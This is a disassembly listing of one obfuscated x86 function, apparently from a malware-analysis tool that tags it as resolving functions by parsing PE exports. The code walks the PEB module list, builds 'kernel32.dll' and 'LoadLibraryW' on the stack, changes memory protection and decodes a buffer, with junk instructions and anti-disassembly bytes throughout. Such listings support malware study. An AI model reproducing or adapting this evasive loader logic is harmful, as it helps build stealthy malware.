Function at 0x10189647
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add esp, 4
add ebx, 0x24d0
pop ebx
cmp dword [ebp - 0x1948], 0
jne 0x10189124
mov dword [ebp - 0x378], 0
jmp 0x101893e0
mov edx, dword [ebp - 0x1948]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xedc], ecx
push esi
push ecx
add esp, 4
or esi, 0x10bf
and esi, 0x13a41
and esi, 0xeb67
pop esi
push edx
push ecx
add esp, 4
jmp 0x1018915b
xor edx, 0x1401a
add edx, 0xc726
pop edx
cmp dword [ebp - 0xedc], 0
jne 0x10189180
mov dword [ebp - 0x378], 0
jmp 0x101893e0
mov edx, dword [ebp - 0xedc]
mov dword [ebp - 0x5e0], edx
push eax
push esi
add esp, 4
and eax, 0xc3b8
pop eax
push edi
push edx
add esp, 4
add edi, 0xf3d1
add edi, 0xb631
pop edi
push eax
xor eax, 0x14431
or eax, 0x14d6f
add eax, 0x28d6
pop eax
lea eax, [ebp - 0x1a88]
mov dword [ebp - 0xed8], eax
mov ecx, dword [ebp - 0x5e0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xed4], edx
xor eax, eax
mov word [ebp - 0x27c], ax
xor ecx, ecx
mov word [ebp - 0x144], cx
push ebx
push ecx
add esp, 4
xor ebx, 0x10357
or ebx, 0x44c8
and ebx, 0x166b9
pop ebx
push esi
and esi, 0x7abb
pop esi
push ecx
call 0x10189219
add byte [edi], bh
dec ebx
inc edi
dec ebx
dec esp
dec eax
add esp, 4
pop ecx
mov edx, dword [ebp - 0xed4]
mov ax, word [edx]
mov word [ebp - 0x12d2], ax
mov ecx, dword [ebp - 0xed4]
add ecx, 2
mov dword [ebp - 0xed4], ecx
mov dx, word [ebp - 0x12d2]
mov word [ebp - 0x27c], dx
mov eax, dword [ebp - 0xed8]
mov cx, word [eax]
mov word [ebp - 0x12d4], cx
mov edx, dword [ebp - 0xed8]
add edx, 2
mov dword [ebp - 0xed8], edx
mov ax, word [ebp - 0x12d4]
mov word [ebp - 0x144], ax
push ebx
push ecx
add esp, 4
add ebx, 0x8687
call 0x10189291
add byte [ebx + 0x48], al
inc esi
inc esp
inc ebp
cmp dh, byte [ebx + esi]
inc ebx
add esp, 4
pop ebx
push ecx
sub ecx, 0x83da
pop ecx
push esi
push edi
add esp, 4
sub esi, 0x14ddf
pop esi
movzx ecx, word [ebp - 0x144]
test ecx, ecx
jne 0x101892cc
movzx edx, word [ebp - 0x27c]
movzx eax, word [ebp - 0x144]
sub edx, eax
mov dword [ebp - 0x1950], edx
jmp 0x1018932f
movzx ecx, word [ebp - 0x27c]
movzx edx, word [ebp - 0x144]
cmp ecx, edx
je 0x101891eb
movzx eax, word [ebp - 0x27c]
xor eax, 0x20
movzx ecx, word [ebp - 0x144]
cmp eax, ecx
je 0x101891eb
movzx edx, word [ebp - 0x27c]
movzx eax, word [ebp - 0x144]
cmp edx, eax
jge 0x10189319
mov dword [ebp - 0x194c], 0xffffffff
jmp 0x10189323
mov dword [ebp - 0x194c], 1
mov ecx, dword [ebp - 0x194c]
mov dword [ebp - 0x1950], ecx
cmp dword [ebp - 0x1950], 0
jne 0x10189378
push ecx
add ecx, 0xfafc
xor ecx, 0x53f6
xor ecx, 0xd0a7
sub ecx, 0x10330
pop ecx
push edi
push edx
add esp, 4
sub edi, 0x6ed0
or edi, 0xa78f
or edi, 0x5e63
pop edi
mov edx, dword [ebp - 0x5e0]
mov dword [ebp - 0x378], edx
jmp 0x101893e0
push edi
push esi
add esp, 4
and edi, 0x15b0
call 0x10189392
add byte [esi + 0x49], cl
xor eax, 0x3c484240
cmp eax, 0x4c48333
pop edi
push edx
sub edx, 0x11725
sub edx, 0x1669a
add edx, 0x103c3
pop edx
mov eax, dword [ebp - 0x5e0]
mov ecx, dword [eax]
mov dword [ebp - 0x5e0], ecx
mov edx, dword [ebp - 0x5e0]
cmp edx, dword [ebp - 0xedc]
je 0x101893d6
mov eax, dword [ebp - 0x5e0]
cmp dword [eax + 0x30], 0
jne 0x1018918c
mov dword [ebp - 0x378], 0
push ecx
xor ecx, 0xbe63
and ecx, 0x46a7
and ecx, 0x42c7
pop ecx
push edx
push edi
add esp, 4
and edx, 0x1f07
and edx, 0x153ff
add edx, 0x10eb
jmp 0x10189411
pop edx
cmp dword [ebp - 0x378], 0
jne 0x10189d2c
mov ecx, 0x6b
mov word [ebp - 0x1b40], cx
mov edx, 0x65
mov word [ebp - 0x1b3e], dx
mov eax, 0x72
mov word [ebp - 0x1b3c], ax
mov ecx, 0x6e
mov word [ebp - 0x1b3a], cx
mov edx, 0x65
mov word [ebp - 0x1b38], dx
mov eax, 0x6c
mov word [ebp - 0x1b36], ax
mov ecx, 0x33
mov word [ebp - 0x1b34], cx
mov edx, 0x32
mov word [ebp - 0x1b32], dx
mov eax, 0x2e
mov word [ebp - 0x1b30], ax
mov ecx, 0x64
mov word [ebp - 0x1b2e], cx
mov edx, 0x6c
mov word [ebp - 0x1b2c], dx
mov eax, 0x6c
mov word [ebp - 0x1b2a], ax
xor ecx, ecx
mov word [ebp - 0x1b28], cx
push ecx
push ebx
add esp, 4
and ecx, 0xfabc
add ecx, 0x85db
add ecx, 0x639f
pop ecx
push ebx
sub ebx, 0xae6e
xor ebx, 0xb28e
add ebx, 0x15932
and ebx, 0x15173
pop ebx
mov byte [ebp - 0xb14], 0x4c
mov byte [ebp - 0xb13], 0x6f
mov byte [ebp - 0xb12], 0x61
mov byte [ebp - 0xb11], 0x64
mov byte [ebp - 0xb10], 0x4c
mov byte [ebp - 0xb0f], 0x69
mov byte [ebp - 0xb0e], 0x62
mov byte [ebp - 0xb0d], 0x72
mov byte [ebp - 0xb0c], 0x61
mov byte [ebp - 0xb0b], 0x72
mov byte [ebp - 0xb0a], 0x79
mov byte [ebp - 0xb09], 0x57
mov byte [ebp - 0xb08], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1fa0], edx
mov eax, dword [ebp - 0x1fa0]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1fa4], ecx
mov edx, dword [ebp - 0x1fa4]
mov dword [ebp - 0x1954], edx
push edi
push ebx
add esp, 4
sub edi, 0x22a9
call 0x10189585
add byte [ebx + eax*2 + 0x4e], al
dec ebp
dec edx
dec ebp
dec ebp
add esp, 4
pop edi
push ecx
sub ecx, 0x933b
pop ecx
push eax
add eax, 0x124fe
xor eax, 0x5889
pop eax
cmp dword [ebp - 0x1954], 0
jne 0x101895b7
mov dword [ebp - 0x8ac], 0
jmp 0x10189873
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xee8], edx
push ebx
and ebx, 0x17403
add ebx, 0xf51e
xor ebx, 0x7e77
and ebx, 0x4b6b
pop ebx
push edx
push ecx
add esp, 4
sub edx, 0xe077
xor edx, 0xf5a7
sub edx, 0x9e8b
pop edx
cmp dword [ebp - 0xee8], 0
jne 0x10189613
mov dword [ebp - 0x8ac], 0
jmp 0x10189873
mov eax, dword [ebp - 0xee8]
mov dword [ebp - 0x5e4], eax
push esi
push esi
add esp, 4
and esi, 0x16844
or esi, 0x6d4f
jmp 0x10189637
pop esi
push edi
call 0x10189647
add byte [edi + 0x3c], al
push eax
inc eax
aas
dec esp
xor al, 0x35
add esp, 4
add edi, 0x51a9
pop edi
lea ecx, [ebp - 0x1b40]
mov dword [ebp - 0xee4], ecx
mov edx, dword [ebp - 0x5e4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xee0], eax
xor ecx, ecx
mov word [ebp - 0x280], cx
xor edx, edx
mov word [ebp - 0x148], dx
push ecx
add ecx, 0xc5af
and ecx, 0x11d17
or ecx, 0x15d09
and ecx, 0xfc1f
pop ecx
push ecx
call 0x101896a6
add byte [edx], bh
inc edx
dec ecx
dec esp
dec esp
xor eax, dword [ebx + eax*4 - 0x3c]
add al, 0x81
loope 0x1018970b
fadd qword [eax]
add byte [ecx - 0x75], bl
test dword [eax], esp
int1
invalid
and eax, 0x7bf5
or eax, 0x412
sub eax, 0x13a5e
and eax, 0x1033d
pop eax
push eax
push ecx
add esp, 4
add eax, 0x131fc
and eax, 0x884e
add eax, 0x15e77
pop eax
movzx edx, word [ebp - 0x148]
test edx, edx
jne 0x1018975f
movzx eax, word [ebp - 0x280]
movzx ecx, word [ebp - 0x148]
sub eax, ecx
mov dword [ebp - 0x195c], eax
jmp 0x101897c2
movzx edx, word [ebp - 0x280]
movzx eax, word [ebp - 0x148]
cmp edx, eax
je 0x1018967e
movzx ecx, word [ebp - 0x280]
xor ecx, 0x20
movzx edx, word [ebp - 0x148]
cmp ecx, edx
je 0x1018967e
movzx eax, word [ebp - 0x280]
movzx ecx, word [ebp - 0x148]
cmp eax, ecx
jge 0x101897ac
mov dword [ebp - 0x1958], 0xffffffff
jmp 0x101897b6
mov dword [ebp - 0x1958], 1
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x195c], edx
cmp dword [ebp - 0x195c], 0
jne 0x1018980b
push edx
push ecx
add esp, 4
sub edx, 0x16cdb
pop edx
push edx
push ecx
add esp, 4
or edx, 0x7078
pop edx
push edx
sub edx, 0x4ff4
add edx, 0xccb8
or edx, 0xa4df
sub edx, 0x5a0e
pop edx
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x8ac], eax
jmp 0x10189873
push esi
push eax
add esp, 4
call 0x1018981f
add byte [edx], dh
inc ebx
dec esi
aaa
dec edi
inc esp
aas
inc eax
inc esi
add esp, 4
pop esi
push edi
and edi, 0x6efe
sub edi, 0xc319
or edi, 0x5679
xor edi, 0x15536
pop edi
mov ecx, dword [ebp - 0x5e4]
mov edx, dword [ecx]
mov dword [ebp - 0x5e4], edx
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0xee8]
je 0x10189869
mov ecx, dword [ebp - 0x5e4]
cmp dword [ecx + 0x30], 0
jne 0x1018961f
mov dword [ebp - 0x8ac], 0
push ebx
push edx
add esp, 4
call 0x10189887
add byte [edx + 0x4d], cl
push eax
cmp byte [ebp + 0x3c], cl
push eax
inc esp
cmp al, byte [ebx - 0x1c7efb3c]
mov eax, dword [0x5b0000bb]
push ebx
and ebx, 0xfc1c
pop ebx
push esi
push ecx
add esp, 4
xor esi, 0x732c
pop esi
cmp dword [ebp - 0x8ac], 0
jne 0x101898ef
push edi
push ecx
add esp, 4
call 0x101898bf
add byte [ebx + 0x4c], al
dec eax
dec esp
cmp eax, 0x4c48348
xor edi, 0x3c16
sub edi, 0x28d8
call 0x101898dc
add byte [eax + ecx*2], bh
dec esp
push eax
cmp dword [ebx], esi
inc ebp
inc eax
add esp, 4
pop edi
mov dword [ebp - 0xc1c], 0
jmp 0x1018a42c
push edx
call 0x101898fd
add byte [ebx + esi + 0x50], cl
cmp byte [ebx + esi], dh
dec edx
add esp, 4
pop edx
push ecx
push ebx
add esp, 4
and ecx, 0xc57d
and ecx, 0x79a4
or ecx, 0x15841
pop ecx
push edi
add edi, 0x2e05
pop edi
mov edx, dword [ebp - 0x8ac]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x8bc], 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp - 0x19a0], ecx
cmp dword [ebp - 0x19a0], 0
jne 0x10189960
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], edx
jmp 0x10189c51
mov eax, dword [ebp - 0x19a0]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x19a4], ecx
jne 0x10189988
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], edx
jmp 0x10189c51
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x19a4]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x19a8], eax
cmp dword [ebp - 0x19a8], 0
jne 0x101899ba
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], ecx
jmp 0x10189c51
mov edx, dword [ebp - 0x3d0]
add edx, dword [ebp - 0x19a8]
mov dword [ebp - 0x8b0], edx
jne 0x101899df
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], eax
jmp 0x10189c51
mov ecx, dword [ebp - 0x8b0]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x23b4], edx
mov eax, dword [ebp - 0x8b0]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1fa8], ecx
mov edx, dword [ebp - 0x8b0]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1fac], eax
mov dword [ebp - 0x8b4], 0
jmp 0x10189a39
mov ecx, dword [ebp - 0x8b4]
add ecx, 1
mov dword [ebp - 0x8b4], ecx
mov edx, dword [ebp - 0x8b0]
mov eax, dword [ebp - 0x8b4]
cmp eax, dword [edx + 0x18]
jae 0x10189c45
mov ecx, dword [ebp - 0x8b4]
mov edx, dword [ebp - 0x23b4]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x8b8], eax
mov ecx, dword [ebp - 0x8b4]
mov edx, dword [ebp - 0x1fa8]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1fac]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1fb0], edx
mov dword [ebp - 0x1e8], 0
jmp 0x10189aa9
mov eax, dword [ebp - 0x1e8]
add eax, 1
mov dword [ebp - 0x1e8], eax
mov ecx, dword [ebp - 0x8b8]
add ecx, dword [ebp - 0x1e8]
movsx edx, byte [ecx]
test edx, edx
je 0x10189b5b
mov eax, dword [ebp - 0x1e8]
movsx ecx, byte [ebp + eax - 0xb14]
test ecx, ecx
je 0x10189b5b
push edi
xor edi, 0x144d9
pop edi
push esi
push ebx
add esp, 4
xor esi, 0x128a3
add esi, 0x62d4
sub esi, 0xec9f
sub esi, 0xd57d
pop esi
push ecx
push ebx
add esp, 4
and ecx, 0x1d61
pop ecx
mov edx, dword [ebp - 0x8b8]
add edx, dword [ebp - 0x1e8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1e8]
movsx edx, byte [ebp + ecx - 0xb14]
cmp eax, edx
je 0x10189b4d
mov eax, dword [ebp - 0x8b8]
add eax, dword [ebp - 0x1e8]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x1e8]
movsx eax, byte [ebp + edx - 0xb14]
cmp ecx, eax
jne 0x10189b54
jmp 0x10189a9a
jmp 0x10189b5b
push esi
push edx
add esp, 4
and esi, 0x13fd8
and esi, 0x3787
pop esi
push edi
push ebx
add esp, 4
jmp 0x10189b7a
or edi, 0x14a75
sub edi, 0x7470
or edi, 0xcd0e
pop edi
mov ecx, dword [ebp - 0x8b8]
add ecx, dword [ebp - 0x1e8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1e8]
movsx ecx, byte [ebp + eax - 0xb14]
cmp edx, ecx
jne 0x10189bba
mov dword [ebp - 0xeec], 0
jmp 0x10189c29
push edi
push edx
add esp, 4
or edi, 0x9f1b
jmp 0x10189bcd
xor edi, 0x1e62
pop edi
push edi
push eax
add esp, 4
and edi, 0xbb45
or edi, 0x320a
add edi, 0x7269
pop edi
mov edx, dword [ebp - 0x8b8]
add edx, dword [ebp - 0x1e8]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x1e8]
movsx edx, byte [ebp + ecx - 0xb14]
or edx, 0x20
cmp eax, edx
jge 0x10189c1f
mov dword [ebp - 0xeec], 0xffffffff
jmp 0x10189c29
mov dword [ebp - 0xeec], 1
cmp dword [ebp - 0xeec], 0
jne 0x10189c40
mov eax, dword [ebp - 0x1fb0]
mov dword [ebp - 0x490], eax
jmp 0x10189c51
jmp 0x10189a2a
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], ecx
cmp dword [ebp - 0x490], 0
je 0x10189d2c
push ecx
or ecx, 0xe912
pop ecx
push ecx
push ecx
add esp, 4
xor ecx, 0xd03c
xor ecx, 0xcdea
jmp 0x10189c7e
call 0x10189c8c
add byte [eax + 0x4a], dl
aas
cmp al, 0x4f
xor al, byte [esi + 0x4a]
add esp, 4
pop ecx
mov edx, dword [ebp - 0x490]
mov dword [ebp - 0x1fb4], edx
push edx
push eax
add esp, 4
add edx, 0xb54a
or edx, 0x16cd3
xor edx, 0x10830
pop edx
push ebx
push ecx
add esp, 4
add ebx, 0x15ec6
pop ebx
push edi
xor edi, 0x8a17
add edi, 0xfed0
pop edi
mov eax, dword [ebp - 0x1fb4]
mov dword [ebp - 0x1fb8], eax
lea ecx, [ebp - 0x1a88]
push ecx
call dword [ebp - 0x1fb8]
test eax, eax
jne 0x10189d2c
push ecx
push esi
add esp, 4
xor ecx, 0x1b6d
add ecx, 0x16e06
pop ecx
push ecx
push edi
add esp, 4
and ecx, 0xb328
jmp 0x10189d0e
pop ecx
push ecx
add ecx, 0x89f2
add ecx, 0x9d0c
pop ecx
mov dword [ebp - 0xc1c], 0
jmp 0x1018a42c
push eax
push edi
add esp, 4
xor eax, 0x150cc
xor eax, 0xd96d
pop eax
push ebx
push ebx
add esp, 4
xor ebx, 0x16ec1
add ebx, 0x5405
jmp 0x10189d57
and ebx, 0x1514b
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1fbc], edx
mov eax, dword [ebp - 0x1fbc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1fc0], ecx
mov edx, dword [ebp - 0x1fc0]
mov dword [ebp - 0x19b0], edx
push edx
or edx, 0x1076e
add edx, 0xc234
pop edx
push ecx
xor ecx, 0x86be
or ecx, 0x3cd8
add ecx, 0x75ce
call 0x10189db4
add byte [edi + esi], dh
cmp al, byte [ebx + 0x40]
xor ecx, dword [ecx - 0x7d]
les eax, [ecx + ebx*2]
cmp dword [ebp - 0x19b0], 0
jne 0x10189dd0
mov dword [ebp - 0x378], 0
jmp 0x1018a08c
mov eax, dword [ebp - 0x19b0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xef8], edx
push ebx
xor ebx, 0x17559
and ebx, 0xeaca
pop ebx
push eax
push ecx
add esp, 4
and eax, 0x5e09
sub eax, 0xdd7c
pop eax
push esi
push eax
add esp, 4
and esi, 0x15322
or esi, 0x105d5
pop esi
cmp dword [ebp - 0xef8], 0
jne 0x10189e2c
mov dword [ebp - 0x378], 0
jmp 0x1018a08c
mov eax, dword [ebp - 0xef8]
mov dword [ebp - 0x5e8], eax
push eax
or eax, 0x131c1
pop eax
push ecx
or ecx, 0x32ce
and ecx, 0xb4f
jmp 0x10189e55
pop ecx
push edx
sub edx, 0xcede
xor edx, 0xdd66
sub edx, 0x1586a
pop edx
lea ecx, [ebp - 0x1a88]
mov dword [ebp - 0xef4], ecx
mov edx, dword [ebp - 0x5e8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xef0], eax
xor ecx, ecx
mov word [ebp - 0x284], cx
xor edx, edx
mov word [ebp - 0x14c], dx
push ebx
xor ebx, 0x105c9
xor ebx, 0x452a
jmp 0x10189ead
and ebx, 0xae89
pop ebx
push ecx
xor ecx, 0x32a0
and ecx, 0xe470
pop ecx
push ecx
jmp 0x10189ec8
pop ecx
mov eax, dword [ebp - 0xef0]
mov cx, word [eax]
mov word [ebp - 0x12da], cx
mov edx, dword [ebp - 0xef0]
add edx, 2
mov dword [ebp - 0xef0], edx
mov ax, word [ebp - 0x12da]
mov word [ebp - 0x284], ax
mov ecx, dword [ebp - 0xef4]
mov dx, word [ecx]
mov word [ebp - 0x12dc], dx
mov eax, dword [ebp - 0xef4]
add eax, 2
mov dword [ebp - 0xef4], eax
mov cx, word [ebp - 0x12dc]
mov word [ebp - 0x14c], cx
push eax
xor eax, 0x2c43
call 0x10189f3a
add byte [ebp + 0x34], cl
cmp al, 0x3e
dec esp
cmp eax, dword [ebp + edi + 0x4f]
inc esi
add esp, 4
call 0x10189f4b
add byte [edi + 0x4b], al
cmp dword [eax + 0x38], ecx
aas
cmp al, 0x46
add esp, 4
or eax, 0x7d58
pop eax
movzx edx, word [ebp - 0x14c]
test edx, edx
jne 0x10189f78
movzx eax, word [ebp - 0x284]
movzx ecx, word [ebp - 0x14c]
sub eax, ecx
mov dword [ebp - 0x19b8], eax
jmp 0x10189fdb
movzx edx, word [ebp - 0x284]
movzx eax, word [ebp - 0x14c]
cmp edx, eax
je 0x10189e97
movzx ecx, word [ebp - 0x284]
xor ecx, 0x20
movzx edx, word [ebp - 0x14c]
cmp ecx, edx
je 0x10189e97
movzx eax, word [ebp - 0x284]
movzx ecx, word [ebp - 0x14c]
cmp eax, ecx
jge 0x10189fc5
mov dword [ebp - 0x19b4], 0xffffffff
jmp 0x10189fcf
mov dword [ebp - 0x19b4], 1
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
cmp dword [ebp - 0x19b8], 0
jne 0x1018a024
push ebx
push ebx
add esp, 4
sub ebx, 0x3890
or ebx, 0x2fca
sub ebx, 0xcc6b
pop ebx
push edi
push edx
add esp, 4
jmp 0x1018a006
sub edi, 0x114f2
jmp 0x1018a015
pop edi
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x378], eax
jmp 0x1018a08c
push ecx
push eax
add esp, 4
or ecx, 0x179f2
sub ecx, 0x7e4c
pop ecx
push eax
and eax, 0x7f14
call 0x1018a04c
add byte [esi + 0x4b], cl
dec eax
inc edi
cmp bh, byte [edi]
aas
cmp eax, 0x4c48332
add eax, 0xa489
pop eax
mov ecx, dword [ebp - 0x5e8]
mov edx, dword [ecx]
mov dword [ebp - 0x5e8], edx
mov eax, dword [ebp - 0x5e8]
cmp eax, dword [ebp - 0xef8]
je 0x1018a082
mov ecx, dword [ebp - 0x5e8]
cmp dword [ecx + 0x30], 0
jne 0x10189e38
mov dword [ebp - 0x378], 0
push edx
push eax
add esp, 4
or edx, 0x177c7
and edx, 0xee9
pop edx
push ecx
push eax
add esp, 4
or ecx, 0x574e
pop ecx
push edx
push ebx
add esp, 4
add edx, 0x12d8a
pop edx
push edx
sub edx, 0x14738
pop edx
mov edx, dword [ebp - 0x378]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x3cc], eax
push esi
push ebx
add esp, 4
sub esi, 0xf8f6
xor esi, 0x431e
pop esi
push eax
add eax, 0xb88f
call 0x1018a0f5
add byte [eax], bh
inc ebx
xor dh, byte [esi]
inc ebx
inc ecx
inc esi
cmp edx, dword [eax - 0x7d]
les eax, [ecx + eax*4]
call fcn.1019fdac
pop eax
mov dword [ebp - 0x8cc], 0
mov ecx, dword [ebp - 0x3cc]
mov dword [ebp - 0x19bc], ecx
cmp dword [ebp - 0x19bc], 0
jne 0x1018a12f
mov edx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], edx
jmp 0x1018a420
mov eax, dword [ebp - 0x19bc]
mov ecx, dword [ebp - 0x3cc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x19c0], ecx
jne 0x1018a157
mov edx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], edx
jmp 0x1018a420
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x19c0]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x19c4], eax
cmp dword [ebp - 0x19c4], 0
jne 0x1018a189
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], ecx
jmp 0x1018a420
mov edx, dword [ebp - 0x3cc]
add edx, dword [ebp - 0x19c4]
mov dword [ebp - 0x8c0], edx
jne 0x1018a1ae
mov eax, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], eax
jmp 0x1018a420
mov ecx, dword [ebp - 0x8c0]
mov edx, dword [ebp - 0x3cc]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1fc4], edx
mov eax, dword [ebp - 0x8c0]
mov ecx, dword [ebp - 0x3cc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1fc8], ecx
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x3cc]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1fcc], eax
mov dword [ebp - 0x8c4], 0
jmp 0x1018a208
mov ecx, dword [ebp - 0x8c4]
add ecx, 1
mov dword [ebp - 0x8c4], ecx
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x8c4]
cmp eax, dword [edx + 0x18]
jae 0x1018a414
mov ecx, dword [ebp - 0x8c4]
mov edx, dword [ebp - 0x1fc4]
mov eax, dword [ebp - 0x3cc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x8c8], eax
mov ecx, dword [ebp - 0x8c4]
mov edx, dword [ebp - 0x1fc8]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1fcc]
mov edx, dword [ebp - 0x3cc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1fd0], edx
mov dword [ebp - 0x1ec], 0
jmp 0x1018a278
mov eax, dword [ebp - 0x1ec]
add eax, 1
mov dword [ebp - 0x1ec], eax
mov ecx, dword [ebp - 0x8c8]
add ecx, dword [ebp - 0x1ec]
movsx edx, byte [ecx]
test edx, edx
je 0x1018a32a
mov eax, dword [ebp - 0x1ec]
movsx ecx, byte [ebp + eax - 0xb74]
test ecx, ecx
je 0x1018a32a
push ebx
jmp 0x1018a2ae
and ebx, 0x9c58
jmp 0x1018a2bb
or ebx, 0x13cb5
pop ebx
push ebx
jmp 0x1018a2c9
and ebx, 0xcc3b
jmp 0x1018a2d6
pop ebx
mov edx, dword [ebp - 0x8c8]
add edx, dword [ebp - 0x1ec]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1ec]
movsx edx, byte [ebp + ecx - 0xb74]
cmp eax, edx
je 0x1018a31c
mov eax, dword [ebp - 0x8c8]
add eax, dword [ebp - 0x1ec]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x1ec]
movsx eax, byte [ebp + edx - 0xb74]
cmp ecx, eax
jne 0x1018a323
jmp 0x1018a269
jmp 0x1018a32a
push ecx
and ecx, 0xb96c
pop ecx
push edi
xor edi, 0x8be1
jmp 0x1018a341
and edi, 0x15714
jmp 0x1018a34e
pop edi
push edi
push ebx
add esp, 4
jmp 0x1018a35b
pop edi
mov ecx, dword [ebp - 0x8c8]
add ecx, dword [ebp - 0x1ec]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1ec]
movsx ecx, byte [ebp + eax - 0xb74]
cmp edx, ecx
jne 0x1018a389
mov dword [ebp - 0xefc], 0
jmp 0x1018a3f8
push edi
jmp 0x1018a393
and edi, 0x125a8
or edi, 0x5356
pop edi
push ecx
push eax
add esp, 4
add ecx, 0x73ff
call 0x1018a3b7
add byte [ebx], bh
inc esi
dec eax
aas
dec ebp
inc edi
add esp, 4
pop ecx
mov edx, dword [ebp - 0x8c8]
add edx, dword [ebp - 0x1ec]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x1ec]
movsx edx, byte [ebp + ecx - 0xb74]
or edx, 0x20
cmp eax, edx
jge 0x1018a3ee
mov dword [ebp - 0xefc], 0xffffffff
jmp 0x1018a3f8
mov dword [ebp - 0xefc], 1
cmp dword [ebp - 0xefc], 0
jne 0x1018a40f
mov eax, dword [ebp - 0x1fd0]
mov dword [ebp - 0x5ec], eax
jmp 0x1018a420
jmp 0x1018a1f9
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], ecx
mov edx, dword [ebp - 0x5ec]
mov dword [ebp - 0xc1c], edx
push ecx
call 0x1018a43a
add byte [edx], dh
xor al, 0x34
inc edx
cmp al, 0x43
cmp dword [ebx + 0x6eb04c4], eax
dec esi
inc edi
aaa
dec eax
jmp 0x1018a44d
call 0x1018a45a
add byte [0x4643324b], bh
dec ebp
push eax
add esp, 4
pop ecx
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0x1fd4], eax
lea ecx, [ebp - 0xf00]
push ecx
push 0x40
mov edx, dword [ebp - 0x19c8]
push edx
mov eax, dword [ebp - 0x494]
push eax
call dword [ebp - 0x1fd4]
test eax, eax
jne 0x1018a4d1
push ebx
push ecx
add esp, 4
xor ebx, 0x439c
add ebx, 0x14d32
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x8800
xor edx, 0xfbeb
pop edx
push edi
sub edi, 0x6155
and edi, 0x1148
pop edi
mov ecx, dword [ebp - 0x8d4]
mov dword [ebp - 0x1fd8], ecx
push 0
call dword [ebp - 0x1fd8]
mov edx, dword [ebp - 0x1fdc]
mov dword [ebp - 0x8d0], edx
jmp 0x1018a4ee
mov eax, dword [ebp - 0x8d0]
add eax, 1
mov dword [ebp - 0x8d0], eax
mov ecx, dword [ebp - 0x8d0]
cmp ecx, dword [ebp - 0xc20]
jae 0x1018a54a
push ebx
add ebx, 0xd85a
and ebx, 0xadd4
jmp 0x1018a511
xor ebx, 0x11a1f
pop ebx
push edi
jmp 0x1018a51e
jmp 0x1018a527
and edi, 0x5de8
pop edi
movzx edx, byte [ebp - 0x459]
mov eax, dword [ebp - 0x8d0]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0x8d0]
mov byte [edx], cl
jmp 0x1018a4df
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0x1fe0], eax
lea ecx, [ebp - 0xf00]
push ecx
mov edx, dword [ebp - 0xf00]
push edx
mov eax, dword [ebp - 0x19c8]
push eax
mov ecx, dword [ebp - 0x494]
push ecx
call dword [ebp - 0x1fe0]
test eax, eax
